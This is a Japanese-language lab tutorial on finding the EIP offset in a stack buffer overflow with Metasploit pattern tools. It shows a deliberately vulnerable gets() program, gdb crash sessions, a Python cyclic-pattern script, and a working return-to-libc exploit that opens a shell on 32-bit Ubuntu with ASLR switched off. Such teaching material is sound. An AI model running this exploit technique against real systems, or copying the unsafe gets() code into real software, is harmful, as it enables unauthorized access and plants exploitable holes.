Metasploit patternによるEIPまでのオフセット計算
スタックバッファオーバーフロー脆弱性が存在する状況において、送り込む文字列と実際に書き変わったEIPを比べることで、EIPまでのオフセットを計算することができる。 ここでは、Metasploit pattern(あるいはcyclic pattern)と呼ばれる文字列を使ったオフセット計算をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
Metasploit Frameworkをインストールする
ここでは、Metasploit patternの生成にMetasploit付属のスクリプトを使うことにする。 ドキュメントを参考に、GithubリポジトリからMetasploitをインストールする。
$ sudo apt-get -y install \ build-essential zlib1g zlib1g-dev \ libxml2 libxml2-dev libxslt-dev locate \ libreadline6-dev libcurl4-openssl-dev git-core \ libssl-dev libyaml-dev openssl autoconf libtool \ ncurses-dev bison curl wget postgresql \ postgresql-contrib libpq-dev \ libapr1 libaprutil1 libsvn1 \ libpcap-dev $ sudo apt-get install libsqlite3-dev # ドキュメントから抜けている $ sudo apt-get install ruby1.9.3 # rvmを使う代わりに直接インストール $ cd /opt $ sudo git clone https://github.com/rapid7/metasploit-framework.git $ cd metasploit-framework $ sudo gem install bundler --no-ri --no-rdoc $ bundle install
脆弱性のあるプログラムを書いてみる
スタックバッファオーバーフロー脆弱性のあるプログラムを用意する。
/* bof.c */ #include <stdio.h> int main() { char buf[100]; setlinebuf(stdout); gets(buf); puts(buf); return 0; }
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -fno-stack-protector bof.c
gdbで起動し、スタックバッファオーバーフローを起こしてみる。
$ python -c 'print "A"*200' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) quit
スタックバッファオーバーフローによりEIPが 0x41414141 (AAAA) に書き変わった結果、セグメンテーション違反で落ちていることがわかる。
EIPまでのオフセットを計算してみる
pattern_create.rbを使うと、次のような文字列を生成することができる。
$ /opt/metasploit-framework/tools/pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
gdbを使い、この文字列を送り込んでみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) r Starting program: /home/user/tmp/a.out Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. 0x64413764 in ?? () (gdb) quit
EIPが0x64413764に書き変わっていることがわかる。 この4バイト (0x64413764 = "\x64\x37\x41\x64" = "d7Ad") が送り込んだ文字列の何バイト目にあるかを調べることで、EIPまでのオフセットがわかる。 この計算には、同じディレクトリにあるpattern_offset.rbが使える。
$ /opt/metasploit-framework/tools/pattern_offset.rb 0x64413764 [*] Exact match at offset 112
上の結果から、112バイト目からの4バイトがEIPになっていることがわかる。
エクスプロイトコードを書いてみる
得られたオフセットを使い、Return-to-libcでシェルを起動するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE base_libc = int(sys.argv[1], 16) offset = 112 addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh" buf = 'A' * offset buf += struct.pack('<I', addr_libc_system) buf += struct.pack('<I', addr_libc_exit) buf += struct.pack('<I', addr_libc_binsh) buf += struct.pack('<I', 0) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(buf+'\n') print "[+] read: %r" % p.stdout.readline() p.stdin.write('exec <&2 >&2\n') p.wait()
このコードは、libcのベースアドレスを引数に取る。
gdbなどでlibcのベースアドレスを調べ、エクスプロイトコードを実行すると次のようになる。
$ python exploit.py 0xb7e29000 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0\x84\xe6\xb7\xb0\xbf\xe5\xb7\x98\xad\xf8\xb7\n' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
EIPが書き変わり、シェルが起動できていることが確認できた。
Pythonスクリプトによる簡易版
Metasploitを使わずに、パターン生成とオフセット計算を行うPythonスクリプトを書くと次のようになる。
# msfpattern.py import sys import struct def generate(): for x in xrange(0x41, 0x5b): for y in xrange(0x61, 0x7b): for z in xrange(0x30, 0x3a): yield "%c%c%c" % (x, y, z) cmd = sys.argv[1] if cmd == 'create': size = int(sys.argv[2]) s = '' for x in generate(): s += x if len(s) >= size: print s[:size] break else: raise Exception("size too large") elif cmd == 'offset': value = int(sys.argv[2], 16) chunk = struct.pack('<I', value) s = '' for x in generate(): s += x if chunk in s: print s.index(chunk) break else: raise Exception("not found")
$ python msfpattern.py create 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag $ python msfpattern.py offset 0x64413764 112